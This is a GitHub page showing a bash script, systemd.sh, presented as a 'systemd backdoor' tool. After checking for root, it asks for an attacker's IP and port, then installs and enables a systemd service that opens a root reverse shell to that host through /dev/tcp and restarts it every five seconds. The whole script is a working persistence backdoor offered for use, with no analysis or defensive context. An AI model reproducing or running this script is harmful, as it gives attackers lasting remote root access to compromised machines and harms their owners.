forked from zycoder0day/toolsoxygencall
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsystemd.sh
More file actions
105 lines (77 loc) · 4.22 KB
/
Copy pathsystemd.sh
File metadata and controls
105 lines (77 loc) · 4.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/bin/bash
red='\033[33;31m'
green='\033[33;32m'
if [[ $(id -u) -ne "0" ]]; then
echo "[ERROR] You must run this script as root" >&2
exit 1
fi
echo -ne "$red
██████▓██ ██▓ ██████ ▄▄▄█████▓▓█████ ███▄ ▄███▓▓█████▄
▒██ ▒ ▒██ ██▒▒██ ▒ ▓ ██▒ ▓▒▓█ ▀ ▓██▒▀█▀ ██▒▒██▀ ██▌
░ ▓██▄ ▒██ ██░░ ▓██▄ ▒ ▓██░ ▒░▒███ ▓██ ▓██░░██ █▌
▒ ██▒ ░ ▐██▓░ ▒ ██▒░ ▓██▓ ░ ▒▓█ ▄ ▒██ ▒██ ░▓█▄ ▌
▒██████▒▒ ░ ██▒▓░▒██████▒▒ ▒██▒ ░ ░▒████▒▒██▒ ░██▒░▒████▓
▒ ▒▓▒ ▒ ░ ██▒▒▒ ▒ ▒▓▒ ▒ ░ ▒ ░░ ░░ ▒░ ░░ ▒░ ░ ░ ▒▒▓ ▒
░ ░▒ ░ ░▓██ ░▒░ ░ ░▒ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ▒
░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
▄▄▄▄ ▄▄▄ ▄████▄ ██ ▄█▀▓█████▄ ▒█████ ▒█████ ██▀███
▓█████▄ ▒████▄ ▒██▀ ▀█ ██▄█▒ ▒██▀ ██▌▒██▒ ██▒▒██▒ ██▒▓██ ▒ ██▒
▒██▒ ▄██▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ░██ █▌▒██░ ██▒▒██░ ██▒▓██ ░▄█ ▒
▒██░█▀ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░▓█▄ ▌▒██ ██░▒██ ██░▒██▀▀█▄
░▓█ ▀█▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▓ ░ ████▓▒░░ ████▓▒░░██▓ ▒██▒
░▒▓███▀▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒▒▓ ▒ ░ ▒░▒░▒░ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░
▒░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ▒ ▒ ░ ▒ ▒░ ░ ▒ ▒░ ░▒ ░ ▒░
░ ░ ░ ▒ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░░ ░
░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ "
echo -ne "$green\n"
echo -ne "[*] G3t r00tsh3ll 3v3ry 5 s3c0nds [*]\n\n"
read -p "Input your IP: " ip
read -p "Input your PORT: " port
arr=('.' '..' '...' '....')
for c in $(seq 1); do
for elt in ${arr[*]}; do
echo -ne "\r\033[<1>Ainitializing the service $elt" && sleep 0.1;
done
done
echo -ne "\n"
function SystemdPersistence () {
cat <<EOF > /etc/systemd/system/persistence.service
[Unit]
Description= Systemd Persistence
[Service]
User=root
Group=root
WorkingDirectory=/root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF
}
message="[*] setup completed! [*]"
for i in $(seq 1 ${#message}); do
echo -ne "${message:i-1:1}"
sleep 0.03
done
echo -ne "\n"
clear
msg="[*] Activating the service [*]"
function EnablePersistence () {
systemctl enable persistence.service
systemctl start persistence
}
echo -ne "\n"
clear
scs="[*] Success! [*]"
for i in $(seq 1 ${#scs}); do
echo -ne "${scs:i-1:1}"
sleep 0.08
done
echo -ne "\n"
clear
SystemdPersistence && EnablePersistence /
clear